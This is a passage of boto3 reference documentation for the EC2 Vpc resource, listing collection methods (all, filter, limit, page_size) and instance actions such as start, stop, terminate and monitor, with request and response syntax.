UnauthorizedOperation . +* **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +* **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +* **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1173)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1175)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: ec2.VpcPeeringConnection +- VpcPeeringConnection resource + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +accepted_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.all() +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + + +**Request Syntax** + +```py +instance_iterator = vpc.instances.all() +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- **[REQUIRED]** The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +instance_iterator = vpc.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) +``` + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + + +**Request Syntax** + +```py +instance_iterator = vpc.instances.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + + +**Request Syntax** + +```py +response = vpc.instances.monitor( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) -- + The monitoring information. + + * _(dict) -- + Describes the monitoring of an instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **Monitoring** _(dict) -- + The monitoring for the instance. + + * **State** _(string) -- + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +instance_iterator = vpc.instances.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.instances.reboot( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.instances.start( + AdditionalInfo='string', + DryRun=True|False +) +``` + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) -- + Information about the started instances. + + * _(dict) -- + Describes an instance state change. + + * **CurrentState** _(dict) -- + The current state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **PreviousState** _(dict) -- + The previous state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) +``` + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) -- + Information about the stopped instances. + + * _(dict) -- + Describes an instance state change. + + * **CurrentState** _(dict) -- + The current state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **PreviousState** _(dict) -- + The previous state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.instances.terminate( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) -- + Information about the terminated instances. + + * _(dict) -- + Describes an instance state change. + + * **CurrentState** _(dict) -- + The current state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **PreviousState** _(dict) -- + The previous state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.instances.unmonitor( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) -- + The monitoring information. + + * _(dict) -- + Describes the monitoring of an instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **Monitoring** _(dict) -- + The monitoring for the instance. + + * **State** _(string) -- + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +internet_gateways + +A collection of InternetGateway resources.A InternetGateway Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all InternetGateway resources in the collection. + + +**Request Syntax** + +```py +internet_gateway_iterator = vpc.internet_gateways.all() +Return: +- Return type: list(ec2.InternetGateway) +- A list of InternetGateway resources + +filter(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection filtered by kwargs passed to method.A InternetGateway collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +internet_gateway_iterator = vpc.internet_gateways.filter( + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +Return: +- Return type: list(ec2.InternetGateway) +- A list of InternetGateway resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of InternetGateway resources in the collection. + + +**Request Syntax** + +```py +internet_gateway_iterator = vpc.internet_gateways.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.InternetGateway) +- A list of InternetGateway resources + +page_size(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +internet_gateway_iterator = vpc.internet_gateways.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.InternetGateway) +- A list of InternetGateway resources + +network_acls + +A collection of NetworkAcl resources.A NetworkAcl Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkAcl resources in the collection. + + +**Request Syntax** + +```py +network_acl_iterator = vpc.network_acls.all() +Return: +- Return type: list(ec2.NetworkAcl) +- A list of NetworkAcl resources + +filter(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection filtered by kwargs passed to method.A NetworkAcl collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +network_acl_iterator = vpc.network_acls.filter( + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +Return: +- Return type: list(ec2.NetworkAcl) +- A list of NetworkAcl resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkAcl resources in the collection. + + +**Request Syntax** + +```py +network_acl_iterator = vpc.network_acls.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.NetworkAcl) +- A list of NetworkAcl resources + +page_size(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +network_acl_iterator = vpc.network_acls.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.NetworkAcl) +- A list of NetworkAcl resources + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + + +**Request Syntax** + +```py +network_interface_iterator = vpc.network_interfaces.all() +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +network_interface_iterator = vpc.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + + +**Request Syntax** + +```py +network_interface_iterator = vpc.network_interfaces.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +network_interface_iterator = vpc.network_interfaces.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +requested_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.all() +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.VpcPeeringConnection) +- A list of VpcPeeringConnection resources + +route_tables + +A collection of RouteTable resources.A RouteTable Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all RouteTable resources in the collection. + + +**Request Syntax** + +```py +route_table_iterator = vpc.route_tables.all() +Return: +- Return type: list(ec2.RouteTable) +- A list of RouteTable resources + +filter(kwargs_) + +Creates an iterable of all RouteTable resources in the collection filtered by kwargs passed to method.A RouteTable collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +route_table_iterator = vpc.route_tables.filter( + DryRun=True|False, + RouteTableIds=[ + 